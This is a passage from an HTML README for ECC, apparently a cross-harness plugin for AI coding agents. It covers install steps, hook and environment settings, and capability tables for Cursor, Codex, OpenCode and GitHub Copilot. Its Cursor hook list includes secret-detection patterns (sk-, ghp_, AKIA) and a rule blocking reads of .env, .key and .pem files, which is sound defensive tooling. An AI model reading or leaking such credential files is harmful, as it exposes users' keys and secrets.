tiers.</p> \n<table> \n <thead> \n  <tr> \n   <th>Harness</th> \n   <th>Status</th> \n   <th>Recommended distribution</th> \n   <th>Important limitation</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Claude Code</td> \n   <td>Stable primary</td> \n   <td>Plugin or selective installer</td> \n   <td>The plugin advertises the installed catalog to the model; use a selective/manual profile when context footprint matters. Optional shell-backed skills are not portable to every OS.</td> \n  </tr> \n  <tr> \n   <td>Codex</td> \n   <td>Supported native plugin</td> \n   <td>Codex marketplace plugin or repo config</td> \n   <td>Native hooks require an explicit trust decision and do not use Claude's hook profiles. The legacy sync is compatibility-only.</td> \n  </tr> \n  <tr> \n   <td>Qoder</td> \n   <td>Supported native plugin</td> \n   <td>Local plugin directory in Qoder CLI or ZIP upload in Qoder IDE</td> \n   <td>Loads the canonical skills, agents, commands, and MCP config; only the reviewed SessionStart hook is enabled, and Node.js 18+ must be on the non-interactive PATH.</td> \n  </tr> \n  <tr> \n   <td>Cursor</td> \n   <td>Beta project adapter</td> \n   <td>Selective installer into <code>.cursor/</code></td> \n   <td>Agent discovery varies by Cursor build; hook events use profile-gated dispatchers, but full Claude feature parity is not claimed.</td> \n  </tr> \n  <tr> \n   <td>OpenCode</td> \n   <td>Beta built plugin</td> \n   <td>Build plugin, then selective installer</td> \n   <td>ECC ships a subset of the catalog; connect a provider and select a model in OpenCode (<a href=\"https://github.com/affaan-m/ECC/issues/2617\">#2617</a>).</td> \n  </tr> \n  <tr> \n   <td>GitHub Copilot Chat</td> \n   <td>Instruction-only</td> \n   <td>Checked-in instructions and prompt files</td> \n   <td>ECC hooks are not adapted.</td> \n  </tr> \n  <tr> \n   <td>GitHub Copilot CLI</td> \n   <td>Beta project adapter</td> \n   <td><code>--target copilot</code> places skills and adapted agents in <code>.github/</code></td> \n   <td>ECC hooks, rules, and command shims are not installed by this target.</td> \n  </tr> \n  <tr> \n   <td>Gemini, Zed, Antigravity, Qwen, Hermes, OpenClaw, Kimi, CodeBuddy, JoyCode</td> \n   <td>Experimental/minimal adapters</td> \n   <td>Harness-specific selective target</td> \n   <td>File placement and instruction portability are tested; full Claude feature parity is not claimed.</td> \n  </tr> \n </tbody> \n</table> \n<details> \n <strong>Package manager detection</strong> \n <p>The plugin automatically detects your preferred package manager (npm, pnpm, yarn, or bun) with the following priority:</p> \n <ol> \n  <li><strong>Environment variable</strong>: <code>CLAUDE_PACKAGE_MANAGER</code></li> \n  <li><strong>Project config</strong>: <code>.claude/package-manager.json</code></li> \n  <li><strong>package.json</strong>: <code>packageManager</code> field</li> \n  <li><strong>Lock file</strong>: Detection from package-lock.json, yarn.lock, pnpm-lock.yaml, or bun.lockb</li> \n  <li><strong>Global config</strong>: <code>~/.claude/package-manager.json</code></li> \n  <li><strong>Fallback</strong>: First available package manager</li> \n </ol> \n <p>To set your preferred package manager:</p> \n <pre><code class=\"language-bash\"># Via environment variable\nexport CLAUDE_PACKAGE_MANAGER=pnpm\n\n# Via global config\nnode scripts/setup-package-manager.js --global pnpm\n\n# Via project config\nnode scripts/setup-package-manager.js --project bun\n\n# Detect current setting\nnode scripts/setup-package-manager.js --detect\n</code></pre> \n <p>Or use the <code>/setup-pm</code> command.</p> \n</details> \n<details> \n <strong>Hook runtime controls (env vars)</strong> \n <p>Use runtime flags to tune strictness or disable specific hooks temporarily:</p> \n <pre><code class=\"language-bash\"># Hook strictness profile (default: standard)\nexport ECC_HOOK_PROFILE=standard\n\n# Comma-separated hook IDs to disable\nexport ECC_DISABLED_HOOKS=\"pre:bash:tmux-reminder,post:edit:typecheck\"\n\n# Cap SessionStart additional context (default: 8000 chars)\nexport ECC_SESSION_START_MAX_CHARS=4000\n\n# Disable SessionStart additional context entirely for low-context/local-model setups\nexport ECC_SESSION_START_CONTEXT=off\n\n# Session-tmp retention window in days (default: 30).\n# Set to 0, off, false, disabled, never, or none to keep all sessions (disable pruning).\nexport ECC_SESSION_RETENTION_DAYS=14\n\n# Cap how many learned instincts SessionStart injects into context (default: 6)\nexport ECC_MAX_INJECTED_INSTINCTS=6\n\n# Minimum confidence an instinct needs to be injected, 0-1 (default: 0.7)\nexport ECC_INSTINCT_CONFIDENCE_THRESHOLD=0.7\n\n# SessionStart ranks injected instincts by confidence + project/stack relevance\n# (default: on). Project-scoped instincts, and instincts whose domain/trigger\n# matches the detected stack (languages, frameworks, plus terraform/dbt markers),\n# get a small ranking boost so they surface above unrelated higher-confidence\n# ones. Set to off/false/0/no to rank by confidence alone.\nexport ECC_INSTINCT_RELEVANCE_RANKING=on\n\n# Keep context/scope/loop warnings but suppress API-rate cost estimates\nexport ECC_CONTEXT_MONITOR_COST_WARNINGS=off\n</code></pre> \n <p>Windows PowerShell:</p> \n <pre><code class=\"language-powershell\">[Environment]::SetEnvironmentVariable('ECC_CONTEXT_MONITOR_COST_WARNINGS', 'off', 'User')\n[Environment]::SetEnvironmentVariable('ECC_SESSION_RETENTION_DAYS', '14', 'User')\n</code></pre> \n</details> \n<details> \n <strong>Agent data home (multi-harness isolation)</strong> \n <p>Memory persistence hooks (session summaries, learned skills, session aliases, metrics) store data under a single agent data root. By default that root is <code>~/.claude</code>. When you use ECC in both Claude Code and Cursor on the same machine, set a separate root for Cursor so the two environments do not overwrite each other's session files:</p> \n <pre><code class=\"language-bash\"># Cursor-only boundary (Claude Code keeps the default ~/.claude)\nexport ECC_AGENT_DATA_HOME=\"$HOME/.cursor/ecc\"\n</code></pre> \n <p>Paths resolved under that root include:</p> \n <ul> \n  <li><code>$ECC_AGENT_DATA_HOME/session-data/</code>: session summaries</li> \n  <li><code>$ECC_AGENT_DATA_HOME/skills/learned/</code>: learned skills from evaluate-session</li> \n  <li><code>$ECC_AGENT_DATA_HOME/session-aliases.json</code>: session aliases</li> \n  <li><code>$ECC_AGENT_DATA_HOME/metrics/</code>: cost and activity metrics</li> \n </ul> \n <p>See <a href=\"https://github.com/affaan-m/ECC/issues/2065\">affaan-m/ECC#2065</a>.</p> \n</details> \n<details> \n <strong>Cross-tool capability map and per-harness notes</strong> \n <h3>Cross-tool capability map</h3> \n <table> \n  <thead> \n   <tr> \n    <th>Capability</th> \n    <th>Claude Code</th> \n    <th>Codex</th> \n    <th>Cursor</th> \n    <th>OpenCode</th> \n    <th>GitHub Copilot</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td>Instructions</td> \n    <td>Native</td> \n    <td>Native <code>AGENTS.md</code></td> \n    <td>Project rules</td> \n    <td>Plugin instructions</td> \n    <td>Native instruction file</td> \n   </tr> \n   <tr> \n    <td>Skills</td> \n    <td>Native installed set</td> \n    <td>Native plugin set</td> \n    <td>Build-dependent/project set</td> \n    <td>Built subset</td> \n    <td>Native discovery (Copilot CLI) from <code>.github/skills/</code>, <code>.agents/skills/</code>, <code>.claude/skills/</code></td> \n   </tr> \n   <tr> \n    <td>Agents/delegation</td> \n    <td>Native agents</td> \n    <td>Codex multi-agent roles; Claude agent files are not installed as roles</td> \n    <td>Build-dependent project agents</td> \n    <td>Plugin agents</td> \n    <td>Copilot CLI custom agents via <code>.github/agents/</code> and <code>--agent</code></td> \n   </tr> \n   <tr> \n    <td>ECC hooks</td> \n    <td>Native plugin hooks</td> \n    <td>Native reviewed subset with explicit trust</td> \n    <td>Cursor hook adapter; install-path differences remain</td> \n    <td>Plugin events</td> \n    <td>Not ported; Copilot CLI has its own plugin hook system</td> \n   </tr> \n   <tr> \n    <td>MCP configuration</td> \n    <td>Available, explicit activation</td> \n    <td>Native plugin manifest; legacy sync can merge TOML</td> \n    <td>Explicit project/user config</td> \n    <td>Provider/plugin config</td> \n    <td>Not supplied by ECC</td> \n   </tr> \n   <tr> \n    <td>Parity with Claude Code</td> \n    <td>Primary reference</td> \n    <td>Partial</td> \n    <td>Partial</td> \n    <td>Partial</td> \n    <td>Partial</td> \n   </tr> \n  </tbody> \n </table> \n <p><strong>Key architectural decisions:</strong></p> \n <ul> \n  <li><strong><a href=\"http://AGENTS.md\">AGENTS.md</a></strong> at root is the universal cross-tool file (read by Claude Code, Cursor, Codex, and OpenCode; GitHub Copilot uses <code>.github/copilot-instructions.md</code> instead)</li> \n  <li><strong>DRY adapter pattern</strong> lets Cursor reuse Claude Code's hook scripts without duplication</li> \n  <li><strong>Skills format</strong> (<a href=\"http://SKILL.md\">SKILL.md</a> with YAML frontmatter) works across Claude Code, Codex, OpenCode, and GitHub Copilot CLI</li> \n  <li>Codex's narrower native hook set is supplemented by <code>AGENTS.md</code>, optional <code>model_instructions_file</code> overrides, and sandbox permissions</li> \n </ul> \n <details> \n  <strong>Cursor IDE support in depth</strong> \n  <p>ECC provides Cursor IDE support with hooks, rules, agents, skills, commands, and MCP configs adapted for Cursor's project layout.</p> \n  <pre><code class=\"language-bash\"># macOS/Linux\n./install.sh --target cursor typescript\n./install.sh --target cursor python golang swift php\n</code></pre> \n  <pre><code class=\"language-powershell\"># Windows PowerShell\n.\\install.ps1 --target cursor typescript\n.\\install.ps1 --target cursor python golang swift php\n</code></pre> \n  <h4>What's included for Cursor</h4> \n  <table> \n   <thead> \n    <tr> \n     <th>Component</th> \n     <th>Count</th> \n     <th>Details</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td>Hook Events</td> \n     <td>15</td> \n     <td>sessionStart, beforeShellExecution, afterFileEdit, beforeMCPExecution, beforeSubmitPrompt, and 10 more</td> \n    </tr> \n    <tr> \n     <td>Hook Entrypoints</td> \n     <td>15</td> \n     <td>Thin Node.js event dispatchers delegating to <code>scripts/hooks/</code> via shared adapter</td> \n    </tr> \n    <tr> \n     <td>Rules</td> \n     <td>34</td> \n     <td>9 common (alwaysApply) + 25 language-specific (TypeScript, Python, Go, Swift, PHP)</td> \n    </tr> \n    <tr> \n     <td>Agents</td> \n     <td>48</td> \n     <td><code>.cursor/agents/ecc-*.md</code> when installed; prefixed to avoid collisions with user or marketplace agents</td> \n    </tr> \n    <tr> \n     <td>Skills</td> \n     <td>Shared + Bundled</td> \n     <td><code>.cursor/skills/</code> for translated additions</td> \n    </tr> \n    <tr> \n     <td>Commands</td> \n     <td>Shared</td> \n     <td><code>.cursor/commands/</code> if installed</td> \n    </tr> \n    <tr> \n     <td>MCP Config</td> \n     <td>Shared</td> \n     <td><code>.cursor/mcp.json</code> if installed</td> \n    </tr> \n   </tbody> \n  </table> \n  <h4>Cursor loading notes</h4> \n  <p>ECC does not install root <code>AGENTS.md</code> into <code>.cursor/</code>. Cursor treats nested <code>AGENTS.md</code> files as directory context, so copying ECC's repo identity into a host project would pollute that project.</p> \n  <p>Cursor-native loading behavior can vary by Cursor build. ECC installs agents as <code>.cursor/agents/ecc-*.md</code>; if your Cursor build does not expose project agents, those files still work as explicit reference definitions instead of hidden global prompt context.</p> \n  <h4>Memory and data isolation (Cursor + Claude Code)</h4> \n  <p>ECC memory hooks reuse the same <code>scripts/hooks/*.js</code> as Claude Code. For Cursor, ECC tries to keep memory <strong>out of <code>~/.claude</code> automatically</strong>:</p> \n  <ol> \n   <li><strong>Cursor <code>sessionStart</code> hook</strong> (installed to <code>.cursor/hooks.json</code> on <code>--target cursor</code>) injects <code>ECC_AGENT_DATA_HOME</code> for the whole composer session.</li> \n   <li><strong>Hook runtime default</strong>: when <code>CURSOR_VERSION</code> or <code>CURSOR_PROJECT_DIR</code> is present, hooks default to <code>~/.cursor/ecc</code> if the env var is unset.</li> \n   <li><strong>Project config</strong>: <code>.cursor/ecc-agent-data.json</code> documents and overrides the path (<code>agentDataHome</code>).</li> \n   <li><strong>Always-on rule</strong>: <code>.cursor/rules/ecc-agent-data-home.mdc</code> reminds the agent where memory lives.</li> \n  </ol> \n  <p>You can still override explicitly:</p> \n  <pre><code class=\"language-bash\">export ECC_AGENT_DATA_HOME=\"$HOME/.cursor/ecc\"\n</code></pre> \n  <p>To <strong>share</strong> memory with Claude Code on purpose, set <code>ECC_AGENT_DATA_HOME=~/.claude</code> in the shell or in <code>.cursor/ecc-agent-data.json</code>.</p> \n  <p>Continuous learning v2 instincts remain separate under <code>CLV2_HOMUNCULUS_DIR</code> (default <code>~/.local/share/ecc-homunculus</code>).</p> \n  <h4>Hook architecture (DRY adapter pattern)</h4> \n  <p>Cursor has <strong>more hook events than Claude Code</strong> (20 vs 8). The <code>.cursor/hooks/adapter.js</code> module transforms Cursor's stdin JSON to Claude Code's format, allowing existing <code>scripts/hooks/*.js</code> to be reused without duplication. Each Cursor event is registered with one event-level dispatcher so enabled checks run in a deterministic order and remain compatible with Cursor versions that execute only the first matching entry. The adapter resolves the shared runtime from both the ECC checkout and an installed project's <code>.cursor/scripts/</code> tree.</p> \n  <pre><code>Cursor stdin JSON -&gt; adapter.js -&gt; transforms -&gt; scripts/hooks/*.js\n                                                (shared with Claude Code)\n</code></pre> \n  <p>Key hooks:</p> \n  <ul> \n   <li><strong>beforeShellExecution</strong>: Blocks git hook bypasses and dev servers outside tmux (exit 2), then adds profile-gated shell reminders</li> \n   <li><strong>afterFileEdit / stop</strong>: Accumulates edited JS/TS files and runs one profile-gated format/typecheck batch at Stop, alongside the console.log audit</li> \n   <li><strong>beforeSubmitPrompt</strong>: Detects secrets (sk-, ghp_, AKIA patterns) in prompts</li> \n   <li><strong>beforeTabFileRead</strong>: Blocks Tab from reading .env, .key, .pem files (exit 2)</li> \n   <li><strong>beforeMCPExecution / afterMCPExecution</strong>: MCP audit logging</li> \n  </ul> \n  <h4>Rules format</h4> \n  <p>Cursor rules use YAML frontmatter with <code>description</code>, <code>globs</code>, and <code>alwaysApply</code>:</p> \n  <pre><code class=\"language-yaml\">---\ndescription: \"TypeScript coding style extending common rules\"\nglobs: [\"**/*.ts\", \"**/*.tsx\", \"**/*.js\", \"**/*.jsx\"]\nalwaysApply: false\n---\n</code></pre> \n </details> \n <details> \n  <strong>Codex macOS app + CLI support in depth</strong> \n  <p>ECC provides a supported native Codex marketplace plugin and repo-local configuration for the macOS app and CLI. The native plugin carries shared skills, MCP configuration, and a reviewed hook subset; Codex keeps hook trust under explicit user control. The older sync path remains compatibility-only. For repo navigation, surface ownership, and PR diff packet guidance, start with <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/CODEX-NAVIGATION-GUIDE.md\"><code>docs/CODEX-NAVIGATION-GUIDE.md</code></a>.</p> \n  <pre><code class=\"language-bash\"># Recommended current install: add ECC's native plugin from the repo marketplace\ncodex plugin marketplace add affaan-m/ECC\ncodex plugin add ecc@ecc\ncodex plugin list --json\n\n# Or run Codex CLI in the repo: AGENTS.md and .codex/ are auto-detected\ncodex\n</code></pre> \n  <p>Legacy copied-configuration compatibility is still available when you intentionally need it:</p> \n  <pre><code class=\"language-bash\"># Compatibility-only managed sync into ~/.codex\nnpm install &amp;&amp; bash scripts/sync-ecc-to-codex.sh\n\n# Or copy only the reference config manually\ncp .codex/config.toml ~/.codex/config.toml\n</code></pre> \n  <p>Normal MCP sync preserves existing server settings and warns when they differ from ECC's recommendation. An existing <code>chrome-devtools-mcp@latest</code> entry therefore stays unchanged; updating the repository alone does not adopt the recommended <code>chrome-devtools-mcp@1.10.1</code> pin. Existing legacy-sync users can preview and explicitly apply the refresh from the updated ECC checkout:</p> \n  <pre><code class=\"language-bash\">bash scripts/sync-ecc-to-codex.sh --dry-run --update-mcp\nbash scripts/sync-ecc-to-codex.sh --update-mcp\n</code></pre> \n  <p>Review the preview before applying: <code>--update-mcp</code> replaces the entire recommended <code>chrome-devtools</code> server section, including custom command arguments and nested settings. Unrelated user-managed servers remain in place. Retired defaults such as Context7 are not refreshed or migrated by this flag.</p> \n  <p>Codex macOS app:</p> \n  <ul> \n   <li>Open this repository as your workspace.</li> \n   <li>The root <code>AGENTS.md</code> is auto-detected.</li> \n   <li><code>.codex/config.toml</code> and <code>.codex/agents/*.toml</code> work best when kept project-local.</li> \n   <li>The reference <code>.codex/config.toml</code> intentionally does not pin <code>model</code> or <code>model_provider</code>, so Codex uses its own current default unless you override it.</li> \n   <li>Optional: copy <code>.codex/config.toml</code> to <code>~/.codex/config.toml</code> for global defaults; keep the multi-agent role files project-local unless you also copy <code>.codex/agents/</code>.</li> \n  </ul> \n  <h4>What's included in the repo and legacy configuration layer</h4> \n  <table> \n   <thead> \n    <tr> \n     <th>Component</th> \n     <th>Count</th> \n     <th>Details</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td>Config</td> \n     <td>1</td> \n     <td><code>.codex/config.toml</code>: top-level approvals/sandbox/web_search, MCP servers, notifications, profiles</td> \n    </tr> \n    <tr> \n     <td><a href=\"http://AGENTS.md\">AGENTS.md</a></td> \n     <td>2</td> \n     <td>Root (universal) + <code>.codex/AGENTS.md</code> (Codex-specific supplement)</td> \n    </tr> \n    <tr> \n     <td>Skills</td> \n     <td>32</td> \n     <td><code>.agents/skills/</code>: <a href=\"http://SKILL.md\">SKILL.md</a> + agents/openai.yaml per skill</td> \n    </tr> \n    <tr> \n     <td>MCP Servers</td> \n     <td>6 legacy reference entries</td> \n     <td>GitHub, Context7, Exa, Memory, Playwright, Sequential Thinking. Current managed sync recommends <code>chrome-devtools</code>; see the explicit refresh instructions above.</td> \n    </tr> \n    <tr> \n     <td>Profiles</td> \n     <td>2</td> \n     <td><code>strict</code> (read-only sandbox) and <code>yolo</code> (full auto-approve)</td> \n    </tr> \n    <tr> \n     <td>Agent Roles</td> \n     <td>3</td> \n     <td><code>.codex/agents/</code>: explorer, reviewer, docs-researcher</td> \n    </tr> \n   </tbody> \n  </table> \n  <p>Skills at <code>.agents/skills/</code> are auto-loaded by Codex. Canonical Anthropic skills such as <code>claude-api</code>, <code>frontend-design</code>, and <code>skill-creator</code> are intentionally not re-bundled here. Install those from <a href=\"https://github.com/anthropics/skills\"><code>anthropics/skills</code></a> when you want the official versions.</p> \n  <h4>Key limitation</h4> \n  <p>Codex does <strong>not provide Claude-style hook execution parity</strong>. The native ECC plugin includes a reviewed hook subset that requires explicit trust in <code>/hooks</code>; <code>AGENTS.md</code>, optional <code>model_instructions_file</code> overrides, and sandbox/approval settings provide the remaining instruction and policy layers.</p> \n  <h4>Multi-agent support</h4> \n  <p>Current Codex builds support stable multi-agent workflows.</p> \n  <ul> \n   <li>Enable <code>features.multi_agent = true</code> in <code>.codex/config.toml</code></li> \n   <li>Define roles under <code>[agents.&lt;name&gt;]</code></li> \n   <li>Point each role at a file under <code>.codex/agents/</code></li> \n   <li>Use <code>/agent</code> in the CLI to inspect or steer child agents</li> \n  </ul> \n  <p>ECC ships three sample role configs:</p> \n  <table> \n   <thead> \n    <tr> \n     <th>Role</th> \n     <th>Purpose</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td><code>explorer</code></td> \n     <td>Read-only codebase evidence gathering before edits</td> \n    </tr> \n    <tr> \n     <td><code>reviewer</code></td> \n     <td>Correctness, security, and missing-test review</td> \n    </tr> \n    <tr> \n     <td><code>docs_researcher</code></td> \n     <td>Documentation and API verification before release/docs changes</td> \n    </tr> \n   </tbody> \n  </table> \n </details> \n <details> \n  <strong>Zed support</strong> \n  <p>ECC provides Zed project support through a conservative <code>.zed</code> adapter for project-local settings, flattened rules, agents, commands, and skills.</p> \n  <pre><code class=\"language-bash\">./install.sh --profile minimal --target zed\n</code></pre> \n  <pre><code class=\"language-powershell\">.\\install.ps1 --profile minimal --target zed\n</code></pre> \n  <p>The adapter writes ECC-managed files under <code>.zed/</code> and keeps BYOK/OpenRouter credentials out of the repo. Configure Zed account or API keys through Zed's own settings UI or your local user settings.</p> \n </details> \n <details> \n  <strong>OpenCode support in depth</strong> \n  <p>ECC provides a beta OpenCode plugin integration with instructions, a catalog subset, commands, custom tools, and hook events. It does not provide feature parity with Claude Code. The reference config inherits the user's OpenCode model selection instead of pinning a provider-specific model.</p> \n  <pre><code class=\"language-bash\"># Run your reviewed OpenCode installation in the repository root\nopencode\n</code></pre> \n  <p>For installation, use the <a href=\"https://opencode.ai/docs/\">official OpenCode instructions</a>, select an exact release, and verify it before execution. The upstream npm package is <code>opencode-ai</code>, not <code>opencode</code>. ECC does not attest to an audited OpenCode runtime version.</p> \n  <p>The configuration is automatically detected from <code>.opencode/opencode.json</code>.</p> \n  <h4>Hook support via plugins</h4> \n  <p>OpenCode's plugin system has 20+ event types:</p> \n  <table> \n   <thead> \n    <tr> \n     <th>Claude Code Hook</th> \n     <th>OpenCode Plugin Event</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td>PreToolUse</td> \n     <td><code>tool.execute.before</code></td> \n    </tr> \n    <tr> \n     <td>PostToolUse</td> \n     <td><code>tool.execute.after</code></td> \n    </tr> \n    <tr> \n     <td>Stop</td> \n     <td><code>session.idle</code></td> \n    </tr> \n    <tr> \n     <td>SessionStart</td> \n     <td><code>session.created</code></td> \n    </tr> \n    <tr> \n     <td>SessionEnd</td> \n     <td><code>session.deleted</code></td> \n    </tr> \n   </tbody> \n  </table> \n  <p><strong>Additional OpenCode events</strong>: <code>file.edited</code>, <code>file.watcher.updated</code>, <code>message.updated</code>, <code>lsp.client.diagnostics</code>, <code>tui.toast.show</code>, and more.</p> \n  <h4>Plugin installation</h4> \n  <p><strong>Option 1: Use directly</strong></p> \n  <pre><code class=\"language-bash\">cd ECC\nopencode\n</code></pre> \n  <p><strong>Option 2: Install as npm package</strong></p> \n  <pre><code class=\"language-bash\">npm install ecc-universal@2.2.3\n</code></pre> \n  <p>Then add to your <code>opencode.json</code>:</p> \n  <pre><code class=\"language-json\">{\n  \"plugin\": [\"ecc-universal\"]\n}\n</code></pre> \n  <p>That npm plugin entry enables ECC's published OpenCode plugin module (hooks/events and plugin tools). It does <strong>not</strong> automatically add ECC's full command/agent/instruction catalog to your project config.</p> \n  <p>For the full ECC OpenCode setup, either:</p> \n  <ul> \n   <li>run OpenCode inside this repository, or</li> \n   <li>copy the bundled <code>.opencode/</code> config assets into your project and wire the <code>instructions</code>, <code>agent</code>, and <code>command</code> entries in <code>opencode.json</code></li> \n  </ul> \n  <h4>Documentation</h4> \n  <ul> \n   <li><strong>Migration Guide</strong>: <code>.opencode/MIGRATION.md</code></li> \n   <li><strong>OpenCode Plugin README</strong>: <code>.opencode/README.md</code></li> \n   <li><strong>Consolidated Rules</strong>: <code>.opencode/instructions/INSTRUCTIONS.md</code></li> \n   <li><strong>LLM Documentation</strong>: <code>llms.txt</code> (complete OpenCode docs for LLMs)</li> \n  </ul> \n </details> \n <details> \n  <strong>GitHub Copilot support in depth</strong> \n  <p>ECC supports <strong>GitHub Copilot</strong> on two surfaces: Copilot Chat in VS Code, via its native instruction and prompt file system, and <strong>GitHub Copilot CLI</strong>, which discovers the shared skills already present in this repository. The optional <code>copilot</code> install target places canonical skills and adapted agents in the CLI's native project directories.</p> \n  <h4>What's included for GitHub Copilot</h4> \n  <table> \n   <thead> \n    <tr> \n     <th>Component</th> \n     <th>File</th> \n     <th>Purpose</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td>Core instructions</td> \n     <td><code>.github/copilot-instructions.md</code></td> \n     <td>Always-loaded rules: coding style, security, testing, git workflow</td> \n    </tr> \n    <tr> \n     <td>VS Code settings</td> \n     <td><code>.vscode/settings.json</code></td> \n     <td>Per-task instruction files for code gen, test gen, and commit messages</td> \n    </tr> \n    <tr> \n     <td>Plan prompt</td> \n     <td><code>.github/prompts/plan.prompt.md</code></td> \n     <td>Phased implementation planning</td> \n    </tr> \n    <tr> \n     <td>TDD prompt</td> \n     <td><code>.github/prompts/tdd.prompt.md</code></td> \n     <td>Red-Green-Improve cycle</td> \n    </tr> \n    <tr> \n     <td>Security review prompt</td> \n     <td><code>.github/prompts/security-review.prompt.md</code></td> \n     <td>Deep OWASP-aligned security analysis</td> \n    </tr> \n    <tr> \n     <td>Build fix prompt</td> \n     <td><code>.github/prompts/build-fix.prompt.md</code></td> \n     <td>Systematic build and CI error resolution</td> \n    </tr> \n    <tr> \n     <td>Refactor prompt</td> \n     <td><code>.github/prompts/refactor.prompt.md</code></td> \n     <td>Dead code cleanup and simplification</td> \n    </tr> \n   </tbody> \n  </table> \n  <p>The files are already in place: open any repo that contains this project and GitHub Copilot Chat will automatically pick up <code>.github/copilot-instructions.md</code>. The committed <code>.vscode/settings.json</code> enables <code>chat.promptFiles</code> so VS Code can load the reusable prompts from <code>.github/prompts/</code>.</p> \n  <p>To use the workflow prompts in Copilot Chat:</p> \n  <ol> \n   <li>Open the Copilot Chat panel in VS Code.</li> \n   <li>Click the <strong>paperclip / attach</strong> icon and select <strong>Prompt...</strong>, or type <code>/</code> and choose a prompt.</li> \n   <li>Select the prompt (e.g. <code>plan</code>, <code>tdd</code>, <code>security-review</code>).</li> \n  </ol> \n  <h4>Copilot CLI: skills and agents</h4> \n  <p>GitHub Copilot CLI discovers <code>SKILL.md</code> skills from <code>.github/skills/</code>, <code>.agents/skills/</code>, <code>.claude/skills/</code>, <code>~/.copilot/skills/</code>, and <code>~/.agents/skills/</code>, and custom agents from <code>.github/agents/</code>. ECC's skill and skill frontmatter is compatible. The managed <code>copilot</code> target adapts agent frontmatter to <code>name</code> and <code>description</code>, removing Claude-specific model and tool keys. Raw manual agent copies can retain unsupported metadata.</p> \n  <p>Because ECC ships a skill subset in <code>.agents/skills/</code>, a plain clone of this repository is picked up by Copilot CLI with no configuration at all:</p> \n  <pre><code class=\"language-bash\">git clone https://github.com/affaan-m/ECC.git &amp;&amp; cd ECC\ncopilot skill list\n# The inventory depends on the checkout and CLI version.\n</code></pre> \n  <p>In the contributor's September 2026 checkout, Copilot CLI 1.0.83 reported all 42 under <code>Project skills</code> with <code>source: \"project\"</code> and <code>enabled: true</code>. The three from <code>.claude/commands/</code> are Claude command files that Copilot surfaces as skills; they are reported with <code>path</code> set to the <code>.claude/commands</code> directory rather than to a per-skill subdirectory.</p> \n  <p>To check this with a temporary npm-distributed CLI, run the pinned build against a throwaway clone:</p> \n  <pre><code class=\"language-bash\">git clone --depth 1 https://github.com/affaan-m/ECC.git &amp;&amp; cd ECC\nnpx -y @github/copilot@1.0.82 skill list --json | jq '[.[] | select(.source==\"project\")] | length'\n# Count the current inventory rather than assuming a fixed total.\n</code></pre> \n  <p>That checkout's 39 + 3 split was reported by 1.0.82 from npm and by 1.0.83 installed locally, so the behaviour is not specific to one build or install method.</p> \n  <p>To expose the full catalog, place <code>skills/</code> where Copilot CLI looks:</p> \n  <pre><code class=\"language-bash\">mkdir -p .github/skills\ncp -r skills/. .github/skills/\ncopilot skill list --json &gt; copilot-skills.json\njq '[.[] | select(.path | contains(\".github/skills\"))] | length' copilot-skills.json\n# Compare with the current canonical skill catalog.\n</code></pre> \n  <p>Filter on the path rather than on <code>source</code>: the CLI can also discover skills from other project locations and de-duplicates entries with the same skill name. Counts depend on the checkout and CLI version. The file redirection also avoids truncated large JSON output observed with Copilot CLI 1.0.82 on macOS.</p> \n  <p>Copilot registers a skill under the <code>name</code> in its <code>SKILL.md</code> frontmatter, not its directory name, so catalog folders whose names differ from their frontmatter (for example <code>scientific-db-pubmed-database</code>, which declares <code>name: pubmed-database</code>) still load \u2014 they are just listed under the frontmatter name.</p> \n  <p>Agents work the same way:</p> \n  <pre><code class=\"language-bash\">./install.sh --profile full --target copilot\ncopilot --agent architect -p \"Review this module's boundaries\"\n</code></pre> \n  <p>The contributor verified native discovery with Copilot CLI 1.0.83. Manually copied agent files that declare a Claude model name (<code>model: opus</code>, <code>model: sonnet</code>) emit a warning and fall back to the session's default model, so remove or remap <code>model:</code> if you want to pin one.</p> \n  <h4>Installing with the <code>copilot</code> target</h4> \n  <p>The steps above copy files by hand. The <code>copilot</code> install target does the same placement and additionally rewrites agent frontmatter so no warning is emitted:</p> \n  <pre><code class=\"language-bash\">./install.sh --profile full --target copilot\n# Windows: ./install.ps1 --profile full --target copilot\n</code></pre> \n  <p>That writes skills to <code>.github/skills/</code>, agents to <code>.github/agents/</code>, and an install-state file to <code>.github/ecc-install-state.json</code>. Nothing is written outside <code>.github/</code>.</p> \n  <p>The <code>full</code> profile selects the modules declared for Copilot. It can place fewer skills than a manual copy of the entire canonical catalog because modules that require another host's runtime are excluded. List the resulting native inventory to see what this checkout installs; a count is not a capability grant.</p> \n  <p>Claude-only agent frontmatter (<code>model</code>, <code>tools</code>, <code>color</code>) is dropped during the copy: Copilot resolves the model from your own configuration, and it governs tool access per session through <code>--allow-tool</code>/<code>--deny-tool</code> rather than through agent frontmatter. ECC's rules, commands, and hooks are not installed by this target.</p> \n  <h4>Feature coverage</h4> \n  <table> \n   <thead> \n    <tr> \n     <th>ECC Feature</th> \n     <th>Copilot equivalent</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td>Coding standards</td> \n     <td>Always-on via <code>copilot-instructions.md</code></td> \n    </tr> \n    <tr> \n     <td>Security checklist</td> \n     <td>Always-on + <code>security-review</code> prompt</td> \n    </tr> \n    <tr> \n     <td>Testing / TDD</td> \n     <td>Always-on + <code>tdd</code> prompt</td> \n    </tr> \n    <tr> \n     <td>Implementation planning</td> \n     <td><code>plan</code> prompt</td> \n    </tr> \n    <tr> \n     <td>Code review</td> \n     <td>External PR review via CodeRabbit + Greptile</td> \n    </tr> \n    <tr> \n     <td>Build error resolution</td> \n     <td><code>build-fix</code> prompt</td> \n    </tr> \n    <tr> \n     <td>Refactoring</td> \n     <td><code>refactor</code> prompt</td> \n    </tr> \n    <tr> \n     <td>Commit message format</td> \n     <td>Per-task instruction in <code>settings.json</code></td> \n    </tr> \n    <tr> \n     <td>Skills</td> \n     <td>Native discovery in Copilot CLI (<code>.github/skills/</code>, <code>.agents/skills/</code>)</td> \n    </tr> \n    <tr> \n     <td>Agents / delegation</td> \n     <td>Copilot CLI custom agents (<code>.github/agents/</code>, <code>--agent</code>)</td> \n    </tr> \n    